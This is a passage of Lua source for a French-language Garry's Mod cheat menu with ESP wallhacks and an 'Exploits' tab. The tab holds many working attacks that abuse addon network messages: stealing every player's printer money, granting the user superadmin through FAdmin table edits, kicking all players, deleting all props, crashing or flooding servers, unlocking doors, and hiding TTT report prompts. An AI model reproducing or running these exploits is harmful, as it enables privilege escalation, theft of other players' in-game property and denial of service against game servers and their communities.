6530surface.SetDrawColor( 255, 255, 255, 255 )
6531surface.DrawTexturedRect( 55, 5, 50, 50 )
6532end
6533
6534
6535
6536
6537
6538concommand.Add( "clear_pity", function() -- fiji_sv_existmen
6539BDMenu:Remove()
6540
6541end)
6542
6543
6544if IsValid( BDMenu ) && IsValid( BDMenu:GetParent() ) then
6545LocalPlayer():ConCommand("fiji_sv_existmen 1")
6546else
6547LocalPlayer():ConCommand("fiji_sv_existmen 0")
6548end
6549
6550
6551local tblSideBar = {
6552[1] = { Name = "Dashboard", Func = function( pContent )
6553pContent:Clear()
6554BD:Dashboard( pContent )
6555BD.BtnHovered = 1
6556end },
6557[2] = { Name = "ESP", Func = function( pContent )
6558pContent:Clear()
6559BD:Esp( pContent )
6560BD.BtnHovered = 2
6561end },
6562[3] = { Name = "Aimbot", Func = function( pContent )
6563pContent:Clear()
6564BD:Aimbot( pContent )
6565BD.BtnHovered = 3
6566end },
6567[4] = { Name = "Fun", Func = function( pContent )
6568pContent:Clear()
6569BD:Fun( pContent )
6570BD.BtnHovered = 4
6571end },
6572[5] = { Name = "Exploits", Func = function( pContent )
6573pContent:Clear()
6574BD:Exploits( pContent )
6575BD.BtnHovered = 5
6576end },
6577[6] = { Name = "Backdoors", Func = function( pContent )
6578LocalPlayer():ConCommand("fiji_bckdrs")
6579BDMenu:Remove()
6580BD.BtnHovered = 1
6581end },
6582[7] = { Name = "Options", Func = function( pContent )
6583pContent:Clear()
6584BD:Options( pContent )
6585BD.BtnHovered = 7
6586end },
6587}
6588local pList = vgui.Create( "DScrollPanel", BDMenu )
6589pList:SetSize( 150, BDMenu:GetTall() - 40 )
6590pList:SetPos( 5, 58 )
6591
6592local pContent = vgui.Create( "DPanel", BDMenu )
6593pContent:SetSize( 539, 388 )
6594pContent:SetPos( 155, 6 )
6595pContent.Paint = function( self, w, h)
6596draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
6597end
6598
6599for k,v in SortedPairs( tblSideBar or {} ) do
6600local btn = vgui.Create( "DButton", pList )
6601btn:Dock( TOP )
6602btn:SetSize( pList:GetWide(), 48)
6603btn:SetText( "" )
6604function btn:Paint( w, h )
6605local col = Color( 255, 255, 255, 150 )
6606if not self:IsHovered() || BD.BtnHovered == k then
6607
6608draw.RoundedBox( 0, 0, 0, w, h, Color( 100, 100, 100,0 ) )
6609else
6610draw.RoundedBox( 0, 0, 0, w, h, Color( 100, 100, 100,10 ) )
6611end
6612if BD.BtnHovered == k then
6613draw.RoundedBox( 0, 0, 0, w, h, Color( 27, 27, 27, 0 ) )
6614if fiji_style_menu:GetInt() == 2 then
6615draw.RoundedBox( 0, 0, 0, w, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6616elseif fiji_style_menu:GetInt() == 1 then
6617draw.RoundedBox( 0, 0, 0, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6618else
6619draw.RoundedBox( 0, 0, 0, w, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6620end
6621
6622if k != #tblSideBar && k + 1 != BD.BtnHovered then
6623if fiji_style_menu:GetInt() == 2 then
6624draw.RoundedBox( 0, 0, h - 2, w, 5, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6625elseif fiji_style_menu:GetInt() == 1 then
6626draw.RoundedBox( 0, 0, h - 2, w, 5, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6627else
6628draw.RoundedBox( 0, 0, h - 2, w, 5, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6629end
6630end
6631else
6632draw.RoundedBox( 0, 0, 0, w, h, Color( 100, 100, 100,8 ) )
6633end
6634if fiji_exist_contentpity:GetInt() == 0 then
6635draw.SimpleText( v['Name'], "pity_home3", w / 2, h / 2, col, 1, 1 )
6636else end
6637end
6638btn.OnCursorEntered = function(self)
6639if fiji_exist_contentpity:GetInt() == 1 then --
6640surface.PlaySound( "mat/pityhover.wav" )
6641else end
6642end
6643function btn:DoClick()
6644if fiji_exist_contentpity:GetInt() == 1 then
6645surface.PlaySound( "mat/pityclick.wav" )
6646else
6647end
6648v['Func']( pContent )
6649end
6650end
6651tblSideBar[ BD.BtnHovered ]['Func']( pContent )
6652
6653
6654
6655end)
6656
6657
6658-- Esp Props
6659hook.Add( "HUDPaint", "PropESP", function()
6660for k,v in pairs (ents.FindByClass("prop_physics")) do
6661if fiji_vision_enable_props:GetInt() == 0 then return end
6662if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance_props:GetInt() then continue end
6663if v:GetPos():Distance( LocalPlayer():GetPos() ) < 90 then continue end
6664
6665cam.Start3D(EyePos(), EyeAngles())
6666if v:IsValid() then
6667cam.IgnoreZ( true )
6668render.SuppressEngineLighting( true )
6669render.SetColorModulation( fiji_principal_color_props:GetInt(), fiji_secondary_color_props:GetInt(), fiji_third_color_props:GetInt(), 255)
6670render.SetBlend(0.3)
6671v:DrawModel()
6672cam.IgnoreZ( false )
6673render.SuppressEngineLighting( false )
6674cam.End3D()
6675end
6676end
6677
6678end)
6679
6680-- Esp Players
6681-- Renders
6682function BD:Bones( tbl )
6683for k,v in pairs( tbl ) do
6684if v == LocalPlayer() then continue end
6685if not v:Alive() then continue end
6686for i = 0, v:GetBoneCount() - 1 do
6687local pos = v:GetBonePosition( i )
6688if ( pos == v:GetPos() && v:GetBoneMatrix( i ) ) then
6689pos = v:GetBoneMatrix( i ):GetTranslation()
6690end
6691if ( v:GetBoneName( i ) == "__INVALIDBONE__" ) then continue end
6692if ( v:GetBoneMatrix( i ) ) then
6693cam.Start3D( EyePos(), EyeAngles() )
6694for id, bone in pairs( v:GetChildBones( i ) ) do
6695
6696local pos2 = v:GetBonePosition( bone )
6697if ( pos2 == v:GetPos() && v:GetBoneMatrix( bone ) ) then
6698pos2 = v:GetBoneMatrix( bone ):GetTranslation()
6699end
6700render.DrawLine( pos, pos2, Color(fiji_principal_color:GetInt(), fiji_secondary_color:GetInt(), fiji_third_color:GetInt(), 255 ), false )
6701end
6702cam.End3D()
6703end
6704end
6705end
6706end
6707hook.Add( "PostDrawOpaqueRenderables", "BD:Hitman:Infos", function()
6708if fiji_vision_enable:GetInt() == 0 then return end
6709local tblPlayers = {}
6710for k,v in pairs( player.GetAll() ) do
6711if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance_infos:GetInt() then continue end
6712table.insert( tblPlayers, v )
6713end
6714BD:Name( tblPlayers )
6715end)
6716BD.WeaponBlacklist = {
6717['keys'] = true,
6718['weapon_physgun'] = true,
6719['weapon_keypadchecker'] = true,
6720['arrest_stick'] = true,
6721['unarrest_stick'] = true,
6722['stunstick'] = true,
6723['weaponchecker'] = true,
6724['itemstore_pickup'] = true,
6725['weapon_physcannon'] = true,
6726['gmod_camera'] = true,
6727['gmod_tool'] = true,
6728['pocket'] = true,
6729}
6730function BD:Name( tbl )
6731ply = LocalPlayer()
6732for k,v in pairs( tbl ) do
6733if !IsValid( v ) then continue end
6734if v == ply then continue end
6735if not v:Alive() then continue end
6736if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance_infos:GetInt() then continue end
6737local pos = v:GetPos()
6738pos.z = pos.z + 90
6739local trace = LocalPlayer():GetEyeTrace()
6740local angle = trace.HitNormal:Angle()
6741cam.Start3D2D( pos, Angle( 0, LocalPlayer():EyeAngles().y - 90, 90 - LocalPlayer():EyeAngles().x ), 0.2 )
6742if fiji_vision_infos_name:GetInt() == 1 then
6743draw.SimpleText( "Nom : " .. v:Nick(), "pity_home3", 0, 0, Color(fiji_principal_color_infos:GetInt(), fiji_secondary_color_infos:GetInt(), fiji_third_color_infos:GetInt(), 255 ), 1 )
6744end
6745if fiji_vision_infos_weapons:GetInt() == 1 then
6746local wep = v:GetWeapons()
6747local strText = ""
6748for k,v in pairs( wep ) do
6749if !IsValid( v ) then continue end
6750if BD.WeaponBlacklist[ v:GetClass() ] then continue end
6751strText = strText .. v:GetClass() .. ", "
6752end
6753strText = string.sub( strText, 1, string.len( strText ) - 2 )
6754draw.SimpleText( "Armes : " .. strText, "pity_home3", 0, 15, Color(fiji_principal_color_infos:GetInt(), fiji_secondary_color_infos:GetInt(), fiji_third_color_infos:GetInt(), 255 ), 1 )
6755end
6756if fiji_vision_infos_health:GetInt() == 1 then
6757draw.SimpleText( "Vie : " .. v:Health(), "pity_home3", 0, 35, Color(fiji_principal_color_infos:GetInt(), fiji_secondary_color_infos:GetInt(), fiji_third_color_infos:GetInt(), 255 ), 1 )
6758end
6759cam.End3D2D()
6760end
6761end
6762hook.Add( "HUDPaint", "BD:Hitman:HUDPaint", function()
6763if fiji_vision_enable:GetInt() == 0 then return end
6764local tblPlayers = {}
6765for k,v in pairs( player.GetAll() ) do
6766if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance:GetInt() then continue end
6767table.insert( tblPlayers, v )
6768end
6769if fiji_vision_type:GetInt() == 1 then
6770BD:Bones( tblPlayers )
6771end
6772end)
6773-- Solid
6774local matSolid = CreateMaterial( "BD_Hitman_Solid", "UnlitGeneric", { ["$model"] = 1, ["$ignorez"] = 1 } )
6775hook.Add( "PrePlayerDraw", "BD:Hitman:Solid", function( pPlayer )
6776if fiji_vision_enable:GetInt() == 1 && fiji_vision_type:GetInt() == 2 && pPlayer:GetPos():Distance( LocalPlayer():GetPos() ) <= fiji_vision_distance:GetInt() then
6777
6778render.MaterialOverride( matSolid )
6779render.SetColorModulation(fiji_principal_color:GetInt(), fiji_secondary_color:GetInt(), fiji_third_color:GetInt())
6780end
6781end )
6782hook.Add( "PostPlayerDraw", "BD:Hitman:Solid", function( pPlayer )
6783if fiji_vision_enable:GetInt() == 1 && fiji_vision_type:GetInt() == 2 && pPlayer:GetPos():Distance( LocalPlayer():GetPos() ) <= fiji_vision_distance:GetInt() then
6784render.MaterialOverride()
6785end
6786end)
6787-- Halos
6788hook.Add( "PreDrawHalos", "BD:Hitman:Glow", function()
6789if fiji_vision_enable:GetInt() == 1 && fiji_vision_type:GetInt() == 3 then
6790
6791local tblPlayers = {}
6792for k,v in pairs( player.GetAll() ) do
6793if not v == LocalPlayer() then return end
6794if not v:Alive() then continue end
6795if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance:GetInt() then continue end
6796table.insert( tblPlayers, v )
6797end
6798halo.Add( tblPlayers, Color(fiji_principal_color:GetInt(), fiji_secondary_color:GetInt(), fiji_third_color:GetInt(), 255 ), 2, 2, 5, true, true )
6799end
6800end)
6801
6802--[[HTMLGUI = vgui.Create( "HTML", BDMenu )
6803HTMLGUI:SetSize( 75,55 )
6804HTMLGUI:SetPos( 45,2 )
6805HTMLGUI:OpenURL( "http://image.noelshack.com/fichiers/2018/39/6/1538220360-pitylua-menu.png")
6806]]--
6807
6808
6809
6810---------------------------------------------------------------------------------------------------------
6811---------------------------------------------------------------------------------------------------------
6812
6813
6814
6815function BD:Exploits( pContent )
6816
6817
6818local BDMenuExploits = vgui.Create("DPanel", pContent)
6819BDMenuExploits:SetSize( 539, 388 )
6820BDMenuExploits:SetPos( 0, 0 )
6821BDMenuExploits.Paint = function( self, w, h)
6822if fiji_style_menu:GetInt() == 2 then
6823draw.RoundedBox( 0, 0, 0, 2, h - 142, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6824draw.RoundedBox( 0, 0, 290, 2, h - 190, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6825
6826elseif fiji_style_menu:GetInt() == 1 then
6827draw.RoundedBox( 0, 0, 0, 2, h - 142, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6828draw.RoundedBox( 0, 0, 290, 2, h - 190, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6829
6830
6831else
6832draw.RoundedBox( 0, 0, 0, 2, h - 142, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6833draw.RoundedBox( 0, 0, 290, 2, h - 190, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6834end
6835
6836
6837end
6838
6839
6840if not snte then
6841function draw.OutlinedBox( x, y, w, h, thickness, clr )
6842surface.SetDrawColor( clr )
6843for i=0, thickness - 1 do
6844surface.DrawOutlinedRect( x + i, y + i, w - i * 2, h - i * 2 )
6845end
6846end
6847
6848
6849local exploitsScrollPanel = vgui.Create( "DScrollPanel", pContent )
6850exploitsScrollPanel:SetPos(10,0)
6851exploitsScrollPanel:SetSize(520,388)
6852exploitsScrollPanel:InnerWidth(0)
6853local sbar = exploitsScrollPanel:GetVBar()
6854function exploitsScrollPanel:Paint( w, h )
6855draw.SimpleText("Exploits détectées sur le serveur :", "pity_home3", 160, 10, Color(255, 255, 255,200), 0, 1)
6856
6857draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
6858end
6859function sbar:Paint( w, h )
6860draw.RoundedBox( 0, 4, 0, w, h, Color( 110,110,110, 20 ) )
6861end
6862function sbar.btnUp:Paint( w, h )
6863draw.RoundedBox( 0, 4, 0, w, h, Color(110,110,110, 20 ))
6864end
6865function sbar.btnDown:Paint( w, h )
6866draw.RoundedBox( 0, 4, 0, w, h, Color(110,110,110, 20 ))
6867end
6868function sbar.btnGrip:Paint( w, h )
6869draw.RoundedBox( 0, 4, 0, w, h, Color(110,110,110, 20 ))
6870end
6871--NOTIFICATION("Exploit lançé")
6872totalSploits = 0
6873function addExploit(id, text, desc, func)
6874totalSploits = 1 + totalSploits
6875local id = vgui.Create( "DButton", exploitsScrollPanel )
6876id:SetText( text )
6877id:SetFont("Arial")
6878id:Dock( TOP )
6879id:DockMargin( 0, 39, 0, -37 )
6880id:DockPadding( 0, 30, 0, 0 )
6881id.DoClick = func
6882
6883
6884
6885
6886
6887if desc then
6888end
6889id.Paint = function( self, w, h )
6890
6891id.OnCursorEntered = function(self)
6892end
6893if id:IsHovered() then
6894
6895
6896
6897
6898if fiji_style_menu:GetInt() == 2 then
6899id:SetTextColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6900surface.SetDrawColor(Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6901surface.DrawOutlinedRect( 0, 0, w, h )
6902draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
6903elseif fiji_style_menu:GetInt() == 1 then
6904id:SetTextColor( HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6905surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
6906surface.DrawOutlinedRect( 0, 0, w, h )
6907draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
6908elseif fiji_style_menu:GetInt() == 3 then
6909id:SetTextColor( Color( 255, 255, 255, 255 ) )
6910surface.SetDrawColor(110,110,110, 30)
6911surface.DrawOutlinedRect( 0, 0, w, h )
6912draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
6913else
6914id:SetTextColor( Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6915surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 )
6916surface.DrawOutlinedRect( 0, 0, w, h )
6917draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
6918end
6919
6920
6921
6922else
6923id:SetTextColor( Color( 255, 255, 255, 40 ) )
6924surface.SetDrawColor(110,110,110, 0)
6925surface.DrawOutlinedRect( 0, 0, w, h )
6926draw.RoundedBox( 0, 0, 0, w, h, Color(110,110,110, 10))
6927end
6928
6929end
6930end
6931
6932//////////////////// [EXPLOITS] ////////////////////
6933status = ValidNetString("TCBBuyAmmo")
6934if (status) then
6935CHATPRINT("Exploit Trouvé : Munitions Gratuites [TCBBuyAmmo]")
6936addExploit( "1","Munitions Gratuites", "", function()
6937surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") CHATPRINT("Getting Le Ammo")
6938--("Exploit lançé")
6939for k,v in pairs(GAMEMODE.AmmoTypes) do
6940net.Start("TCBBuyAmmo")
6941net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
6942net.SendToServer()
6943end
6944end)
6945end
6946
6947status = ValidNetString("DataSend")
6948if (status) then
6949CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #1 [DataSend]")
6950addExploit( "2","Voler L'argents De Tous #1", "", function()
6951surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Exploit lançé")
6952for k, v in pairs( ents.GetAll() ) do
6953if v:GetClass() == "adv_moneyprinter" then
6954CHATPRINT("Collecting Money")
6955net.Start("DataSend")
6956net.WriteFloat(2)
6957net.WriteEntity(v)
6958net.WriteEntity(LocalPlayer())
6959net.SendToServer()
6960end
6961end
6962end)
6963end
6964
6965
6966status = ValidNetString("FarmingmodSellItems")
6967if (status) then
6968CHATPRINT("Exploit Trouvé : Argent Gratuite [FarmingmodSellItems]")
6969addExploit( "3","Argent Gratuite", "", function()
6970--("Exploit lançé")
6971surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") CHATPRINT("Enjoy the b1g monies")
6972net.Start("FarmingmodSellItems")
6973net.WriteTable(
6974{
6975Cost = 10,
6976CropModel = "models/props/eryk/garlic.mdl",
6977CropType = 2,
6978Info = "Garlic Seed",
6979Model = "models/props/eryk/seedbag.mdl",
6980Name = "Garlic",
6981Quality = 4,
6982Sell = 99999,
6983Type = "Seed"
6984}
6985)
6986net.WriteInt(1,16)
6987net.SendToServer()
6988end)
6989end
6990
6991status = ValidNetString("start_wd_emp")
6992if (status) then
6993CHATPRINT("Exploit Trouvé : Hack Keypad [start_wd_emp]")
6994addExploit( "4","Hack Keypad", "", function()
6995surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Exploit lançé")
6996net.Start("start_wd_emp")
6997net.SendToServer()
6998end)
6999end
7000
7001status = ValidNetString("duelrequestguiYes")
7002if (status) then
7003CHATPRINT("Exploit Trouvé : Recevoir De L'Argent [duelrequestguiYes]")
7004addExploit( "5","Recevoir De L'Argent", "", function()
7005surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Exploit lançé")
7006net.Start("duelrequestguiYes")
7007net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
7008net.WriteEntity(table.Random( player.GetAll() ) )
7009net.WriteString("Crossbow")
7010net.SendToServer()
7011end)
7012end
7013
7014status = ValidNetString("DarkRP_Kun_ForceSpawn")
7015if (status) then
7016CHATPRINT("Exploit Trouvé : ReSpawn #1 [DarkRP_Kun_ForceSpawn]")
7017addExploit( "6", "ReSpawn #1", "", function()
7018surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") CHATPRINT("ReSpawn")
7019net.Start("DarkRP_Kun_ForceSpawn")
7020net.SendToServer()
7021end)
7022end
7023
7024status = ValidNetString("SyncPrinterButtons76561198056171650")
7025if (status) then
7026CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #2 [SyncPrinterButtons76561198056171650]")
7027addExploit( "7","Voler L'argents De Tous #2", "", function()
7028surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") CHATPRINT("Collecting Money")
7029for k, v in pairs(ents.GetAll()) do
7030if (v:GetClass() == "adv_moneyprinter") then
7031net.Start("SyncPrinterButtons76561198056171650")
7032net.WriteEntity(v)
7033net.WriteUInt(2, 4)
7034net.SendToServer()
7035end
7036end
7037end)
7038end
7039---------------------------------------------------------------------------------------------
7040local function report()
7041for i = 1, 2000 do
7042net.Start("DL_Answering")
7043net.SendToServer()
7044end
7045end
7046
7047if (Damagelog) then
7048CHATPRINT("Exploit Trouvé : Kick Tous Le Monde")
7049reportSpam = 0
7050addExploit( "1337","Kick Tous Le Monde", "", function()
7051surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if (reportSpam == 0) then
7052--("Starting Kicker")
7053reportSpam = 1
7054timer.Create("reportSpammer", 0.05, 0, report)
7055else
7056--("Stopping Kicker")
7057reportSpam = 0
7058timer.Remove("reportSpammer")
7059end
7060
7061end)
7062end
7063----------------------------------------------------------------------------------------------
7064
7065status = ValidNetString("SimplicityAC_aysent")
7066if (status) then
7067CHATPRINT("Exploit Trouvé : Crash #1 [SimplicityAC_aysent]")
7068addExploit( "8","Crash #1", "", function()
7069surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") CHATPRINT("Goodbye Server")
7070local tbl = {}
7071for i=1,400 do
7072tbl[i] = i
7073end
7074net.Start("SimplicityAC_aysent")
7075net.WriteUInt(1, 8)
7076net.WriteUInt(4294967295, 32)
7077net.WriteTable(tbl)
7078net.SendToServer()
7079end)
7080end
7081
7082status = ValidNetString("RevivePlayer")
7083if (status) then
7084CHATPRINT("Exploit Trouvé : Reanimation #1 [RevivePlayer]")
7085addExploit( "9", "Reanimation #1", "", function()
7086surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "reanimation1" ) then
7087--( "Enabled" )
7088timer.Create( "reanimation1", 0.5, 0, function()
7089if !LocalPlayer():Alive() then
7090net.Start("RevivePlayer")
7091net.WriteEntity(LocalPlayer())
7092net.SendToServer()
7093end
7094end)
7095else
7096timer.Remove( "reanimation1" )
7097--( "Disabled" )
7098end
7099end )
7100end
7101
7102status = ValidNetString("NLRKick")
7103if (status) then
7104CHATPRINT("Exploit Trouvé : Kick Tous Le Monde [NLRKick]")
7105addExploit( "10","Kick Tous Le Monde", "", function()
7106surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Kicking All")
7107for k,v in pairs(player.GetAll()) do
7108if v != LocalPlayer() then
7109net.Start("NLRKick")
7110net.WriteEntity(v)
7111net.SendToServer()
7112end
7113end
7114end)
7115end
7116
7117status = ValidNetString("timebombDefuse")
7118if (status) then
7119CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props [timebombDefuse]")
7120addExploit( "11","Supprimer Tous Les Props", "", function()
7121surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Props De_Stroyed")
7122for k,v in pairs(ents.GetAll()) do
7123net.Start("timebombDefuse")
7124net.WriteEntity(v)
7125net.WriteBool(true)
7126net.SendToServer()
7127end
7128end)
7129end
7130
7131status = ValidNetString("NDES_SelectedEmblem")
7132if (status) then
7133CHATPRINT("Exploit Trouvé : Crée Des Lags #2 [NDES_SelectedEmblem]")
7134addExploit( "12","Crée Des Lags #2", "", function()
7135surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger2" ) then
7136timer.Create("lagger2", 0.5, 0, function()
7137for i=1, 2000 do
7138net.Start("NDES_SelectedEmblem",true)
7139net.WriteString("seized")
7140net.SendToServer()
7141end
7142end)
7143--("Lags Démarré")
7144else
7145timer.Remove("lagger2")
7146--("Lags Arreté")
7147end
7148end)
7149end
7150
7151status = ValidNetString("Morpheus.StaffTracker")
7152if (status) then
7153CHATPRINT("Exploit Trouvé : Crasher #1 [Morpheus.StaffTracker]")
7154addExploit( "13","Crasher #1", "", function()
7155surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "crasher1" ) then
7156timer.Create("crasher1", 0.5, 0, function()
7157for i=1, 2000 do
7158net.Start("Morpheus.StaffTracker")
7159net.SendToServer()
7160end
7161end)
7162--("Crashing Server")
7163else
7164timer.Remove("crasher1")
7165--( "Canceling Crasher" )
7166end
7167end)
7168end
7169
7170status = ValidNetString("egg")
7171if (status) then
7172CHATPRINT("Exploit Trouvé : Recevoir Les Easter Eggs")
7173addExploit( "14","Recevoir Les Easter Eggs", "", function()
7174surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") RunConsoleCommand("say", "4bigz")
7175RunConsoleCommand("cc_egg2")
7176net.Start("egg")
7177net.SendToServer()
7178--("Gave Easter Egg")
7179end)
7180end
7181
7182status = ValidNetString("pplay_deleterow")
7183if (status) then
7184CHATPRINT("Exploit Trouvé : Devenir SuperAdmin [pplay_deleterow]")
7185addExploit( "15","Devenir SuperAdmin", "", function()
7186surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") local id = LocalPlayer():SteamID()
7187local tbl = {}
7188tbl.name = "FAdmin_PlayerGroup"
7189tbl.where = {
7190"steamid",
7191tostring(id)
7192}
7193
7194net.Start("pplay_deleterow")
7195net.WriteTable(tbl)
7196net.SendToServer()
7197local tbl = {}
7198tbl.tblname = "FAdmin_PlayerGroup"
7199tbl.tblinfo = {
7200tostring(id),
7201"superadmin"
7202}
7203net.Start("pplay_addrow")
7204net.WriteTable(tbl)
7205net.SendToServer()
7206--("promotion ;)")
7207end)
7208end
7209
7210-- TTT Bypass Report by daddy grampa
7211
7212local function CheckChild(pan)
7213local title = "You have been reported! Please answer all your reports."
7214if !pan || !IsValid(pan) then return end
7215if pan.GetTitle && pan:GetTitle() == title then
7216pan:Remove();
7217print("Removed warning box")
7218return
7219end
7220for k,v in pairs(pan:GetChildren()) do
7221if v.GetTitle && v:GetTitle() == title then
7222v:Remove();
7223print("Removed warning box")
7224return
7225end
7226if #v:GetChildren() > 0 then
7227CheckChild(v)
7228end
7229end
7230end
7231
7232if (engine.ActiveGamemode() == "terrortown") then
7233bypass = 0
7234CHATPRINT("Exploit Trouvé : TTT Bypass Report")
7235addExploit( "16","Activer/Désactiver Bypass Report TTT", "", function()
7236surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if (bypass == 0) then
7237hook.Add("Think", "remove_ttt_report", function()
7238local pan = vgui.GetHoveredPanel()
7239CheckChild(pan)
7240end)
7241--("Enabled Report Bypass")
7242bypass = 1
7243else
7244hook.Remove("Think", "remove_ttt_report")
7245--("Disabled Report Bypass")
7246bypass = 0
7247end
7248end)
7249end
7250
7251status = ValidNetString("EZS_PlayerTag")
7252if (status) then
7253CHATPRINT("Exploit Trouvé : Crée Des Lags #3 [EZS_PlayerTag]")
7254addExploit( "17","Crée Des Lags #3", "", function()
7255surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger3" ) then
7256timer.Create("lagger3", 0.5, 0, function()
7257for k, v in pairs(player.GetAll()) do
7258net.Start("EZS_PlayerTag",true)
7259net.WriteEntity(v)
7260net.WriteString("Seized")
7261net.SendToServer()
7262timer.Simple(2, function()
7263net.Start("EZS_PlayerTag",true)
7264net.WriteEntity(v)
7265net.WriteString("Seized")
7266net.SendToServer()
7267end)
7268end
7269end)
7270--("Lags Démarré")
7271else
7272timer.Remove("lagger3")
7273--("Lags Arreté")
7274end
7275end)
7276end
7277
7278if ConVarExists("advttt_spreadovertime_enabled") then
7279CHATPRINT("Exploit Trouvé : NoSpread")
7280addExploit( "18","NoSpread", "", function()
7281surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
7282--("Spread Removed")
7283end)
7284end
7285
7286status = ValidNetString("fp_as_doorHandler")
7287if (status) then
7288CHATPRINT("Exploit Trouvé : Ouvrir Des Portes | Fermer Des Portes | Supprimer Le Propriétaire [fp_as_doorHandler]")
7289addExploit( "19","Ouvrir La Porte", "", function()
7290surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") net.Start("fp_as_doorHandler")
7291net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7292net.WriteString("unlock")
7293net.SendToServer()
7294--("Portes Ouverte")
7295end)
7296end
7297
7298status = ValidNetString("fp_as_doorHandler")
7299if (status) then
7300addExploit( "20","Fermer La Porte", "", function()
7301surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") net.Start("fp_as_doorHandler")
7302net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7303net.WriteString("lock")
7304net.SendToServer()
7305--("Portes Ouverte")
7306end)
7307end
7308
7309status = ValidNetString("fp_as_doorHandler")
7310if (status) then
7311addExploit( "21","Supprimer Le Propriétaire", "", function()
7312surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") local door = LocalPlayer():GetEyeTrace().Entity
7313local doorOwner = door:getDoorData()["owner"]
7314net.Start("fp_as_doorHandler")
7315net.WriteEntity(door)
7316net.WriteString("removeOwner")
7317net.WriteDouble(doorOwner)
7318net.SendToServer()
7319--("Portes Ouverte")
7320end)
7321end
7322
7323status = ValidNetString("VJSay")
7324if (status) then
7325CHATPRINT("Exploit Trouvé : VJSay [OLD] [VJSay]")
7326addExploit( "22","VJSay [OLD]", "", function()
7327surface.PlaySound( "mat/pityclick.wav" ) inputFrame2Exists = true
7328inputFrame2 = vgui.Create( "DFrame" )
7329inputFrame2:SetTitle("Entrer votre message")
7330inputFrame2:SetSize( 400, 75 )
7331inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
7332inputFrame2:SetDraggable(true)
7333inputFrame2:ShowCloseButton(false)
7334inputFrame2:MakePopup()
7335inputFrame2.Paint = function( self, w, h )
7336DrawBlur(self, blur_effect:GetInt())
7337
7338draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0,230))
7339end
7340
7341local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
